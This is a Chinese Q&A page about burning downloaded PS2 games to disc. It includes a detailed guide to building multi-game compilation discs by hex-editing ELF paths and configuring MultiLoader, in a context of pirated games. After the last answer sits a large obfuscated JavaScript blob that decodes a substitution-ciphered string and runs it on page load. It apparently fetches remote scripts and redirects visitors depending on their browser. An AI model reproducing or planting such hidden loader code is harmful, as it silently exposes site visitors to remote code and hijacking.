请问关于下载游戏后刻成PS2游戏盘的问题!

2025-02-15 09:01:20
推荐回答(5个)
回答1:

只要有空盘就可以刻
效果很好,盗版的较小

回答2:

Alcohol 120%

回答3:

200的可能压缩过的 少了些音乐或者过场动画之类的东西 就直接把下载的东西解压后往盘里拖就是了

回答4:

修改ELF
因为游戏跟应用软件不一样,游戏往往会调用多个文件/文件夹,而且这些文件/文件夹往往会出现一些重复的(如:MODULE),为了避免文件/文件夹名称的重复,我们必须把出现重复的文件/文件夹名称改成别的名字,并用HEX编辑软件修改ELF内部调用这些文件/文件名的路径,这一步是制作一个合集的关键。

(本文只讲述使用绝对路径的情况,关于相对路径的引用,我将会在《PS2游戏合集制作全攻略 - 进阶篇》中说明。)

我们首先比较一下这两个游戏的文件/文件夹,可以看到名字重复的有:

文件:
SYSTEM.CNF(这个文件不需要理会)
DATA.DAT
SECTOR.H

文件夹:
SYSTEM(实际上里面的文件并没有重名,所以如果只做这两个游戏的合集则不需要理会)
SOUND(由于里面只有一个文件SNDPAK.PAK,所以也可以视作是这个文件重名了)

OK,目标明确,我们需要处理的有DATA.DAT、SECTOR、SNDPAK.PAK。

用UltraEdit-32打开《魔界战记》的ELF:SLPS_202.51,会看见一个满屏HEX数据的画面,这里按下Ctrl + F(或Search -> Find)出现搜索栏,记住要钩上Find ASCII,然后输入我们第一个要解决的文件名:DATA.DAT。

按下搜索后会自动来到0012d660这个位置,看到右边的“DATA.DAT”。

把它改成DATA1.DAT,同时把手上的文件也重命名为DATA1.DAT。

这时按下F3(继续搜索),出现写着Search string not found!的对话框,也就是说调用DATA.DAT的地方就这一处,只需要改这里就OK了。
(如果出现多处符合的数据的,我们可以都改成需要的数值,但有些时候有些数据是我们不需要的,这里可以根据数据前后的语句来判断,实在看不懂的也可以借助模拟器调试。)

这里除了可以使用搜索功能外,还可以使用HEX编辑软件的替换功能直接替换,但要主要替换时我们输入的原始数据与新数据的长度必须一致,而且在替换前我们还是应该先用搜索功能查找一下ELF内有多少出符合的数值,并找出应该修改的地方。
因为替换功能很容易出错,尤其是在游戏有比较多文件的时候,所以并不建议初学者使用。

用同样的方法查找SECTOR.H跟SNDPAK.PAK,分别改为SECTOR1.H、SNDPA1.PAK。

由于“日本一”公司的战记系列所用的文件/文件夹都比较少,我们轻松搞定了一个游戏,如果对自己的操作不放心的,可以先把修改过后的1代做一个ISO,在模拟器上测试能不能运行。
(其实多少文件都一样,原理是一样的,不过文件多了自然体力活会比较多。)

如果此时在模拟器验证修改是否成功时,在运行过程中出现卡死在某个地方的情况,可以先退出模拟器,然后查看模拟器生成的emulog.txt,看是运行到哪一行的时候卡死了。再打开我们之前保留的log1.txt,比较看看模拟器的log在同一行的位置是在读取了哪一个LBA的位置,再在lba1.txt里面看看那个LBA是属于哪一个文件的,这样就可以知道是哪个文件的修改上出错了。

用同样的方法处理一下2代的ELF:SLPS_256.08。
DATA.DAT -> DATA2.DAT
SECTOR.H -> SECTOR2.H
SNDPAK.PAK -> SNDPA2.PAK
修改后模拟器测试也没有问题。

OK,至此我们已经令这两个游戏没有重名的文件了(虽然有重名的文件夹,但里面的文件没重名,无所谓),把两个游戏的文件都放在一起也无所谓了。

但要记住,因为1代是一个CD游戏,而我们制成的合集是DVD格式的,所以我们要用DVDScan这个软件处理一下。
运行DVDSacn后在图中位置点选DVD,然后打开游戏的ELF:SLPS_202.51及SYSTEM目录下的IOPRP255.IMG,程序就会把这两个文件从CD格式转为DVD格式,OK后退出程序即可。

要转换哪些文件视游戏而定,一般是ELF、IORRP***.IMG、部分.irx文件。

处理合集的主程序

现在轮到了我们制作合集必须的主程序MultiLoader了,这个程序有3个文件+1个文件夹组成:
SYSTEM.CNF - PS2光盘上必要的引导文件。
MultiLoader.ELF - 主要程序。
MULTI.XML - 游戏名称、启动文件路径等信息,我们要花工夫的就是这个文件。
IMAGES - 用来存放游戏预览图片的文件夹(可改别的名字)。

现在看看我做好了的MULTI.XML,实际上我们可以把这个文件视为2+N部分(N=合集的游戏数目)。
这个文件固定的2个部分包括一头一尾,这表示这个文件的开始与结束;另一部分就是在上面的******,这里我们可以在中间添加一个图片地址,用作选择游戏后的读取画面(注意只有1.33才支持background,如果是用1.41的可以不要这个标记)。

接下来看看游戏的部分,实际上每个游戏的信息都由5种标记所组成:
item:游戏信息的开始/结束。
name:显示在游戏选择画面的游戏名称(注意这个名称最好不要超过16个字符,否则会影响美观)。
path:该游戏的ELF的文件路径。
description:对该游戏的描述,我一般是写游戏的全称,1.33版是按手柄的方键后显示,1.41则是自动在画面上访滚动。
image:显示在游戏选择画面的游戏预览图片的文件路径。

注意两种图片的格式:
游戏预览图:130x155 jpg
选择游戏后的读取画面:512x512 jpg(实际上到了真正出现这幅图片时只会看到512x448的部分,所以我们可以把一幅4:3的图片改成512x448的,然后在下面用单色填充至512x512)

把这些都做好后我们可以制作合集的文件结构与ISO了。

这里有个重点要说明一下,如果是HDL用户并且家里是没条件用PC灌游戏而必须刻盘用PS2直灌的必须紧记,由于这个合集的主程序文件名为MultiLoader.ELF,而PS2直灌是不认这种***.ELF的主程序的,会显示为非PS2游戏,所以我们必须是把MultiLoader.ELF重名为符合PS2的主程序名称格式,就是 4字母 + 下划线 + 3数字 + 点 + 2数字,如“ABCD_123.45”或“PSTG_800.08”,同时修改SYSTEM.CNF内指向的文件名。

最后,我们现在来制作这个ISO,运行CD DVD Generator,先输入一些游戏信息。

按照SYSTEM.CNF(这时只要MultiLoader的CNF,各游戏自己的不用理会) -> MultiLoader的主程序 -> MULTI.IML -> 图片目录 -> 游戏的ELF -> 游戏系统文件 -> 大文件(如数据包、动画、音乐)的顺序把文件拖到Directory页面。

再次用DVD Iml2Iso来制作游戏的ISO,做好后有条件的可以先传到HDL里面测试一下看是否运行正常。
在上面这幅图中我们可以看到游戏的名称超出了背景的蓝色框架位置,这个原因我之前已经说过了,这是因为在MULTI.XML中的标签的游戏名称过长所至,只要重新编辑一下MULTI.XML后重做ISO即可。

我最近做的《日本一系列 7in1》。

小知识

1、记住PS2直灌HDL不能识别.ELF的主程序。
2、CD游戏需要转成DVD,但非官方的游戏或应用程序一般没有检测CD/DVD的代码,所以一般不用转换。
3、光盘的根目录下的文件/文件夹加起来不要超过30个,子目录下的可读的文件最大数目由调用的程序决定,建议也不要超过30个。
4、前文说过,MultiLoader的兼容性没有旧的PS2Loader好,如果在确认自己修改及制作ISO过程中没有出现错误(可以先作成单个游戏的ISO测试),但做到合集里后不能运行的,很可能是该游戏跟MultiLoader不兼容,可以换别的版本试试,不过这只是很个别的情况。
5、制作合集不会影响游戏的HDL兼容性,一个原本支持HDL的游戏作成合集后要么就刻盘、HDL均正常,要么就完全不能玩(就是上面第4点),如果一个原本支持HDL的游戏在作成合集后出现只能用盘玩而不能HDL 或者 只能HDL而无法用盘玩的情况的,绝对是制作上出了问题。
6、遇到模拟器不能运行到标题画面的游戏,其实我们就算看不见画面也可以根据修改游戏前后所得到的emulog.txt来做一定程度的判断,不过这当然是比较难的。如果遇到完全不能运行的,有条件可以传到HDL里面做测试。

制作PS2游戏合集的《基础篇》就写到这里了,其实要做一个普通的游戏合集原理很简单,只是操作起来非常繁琐,而且容易出错,这里还得靠有点耐心才行,不过做多了有经验自然也会变得更轻松。

回答5:

楼上的说的太复杂了 直接刻了就能玩了

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();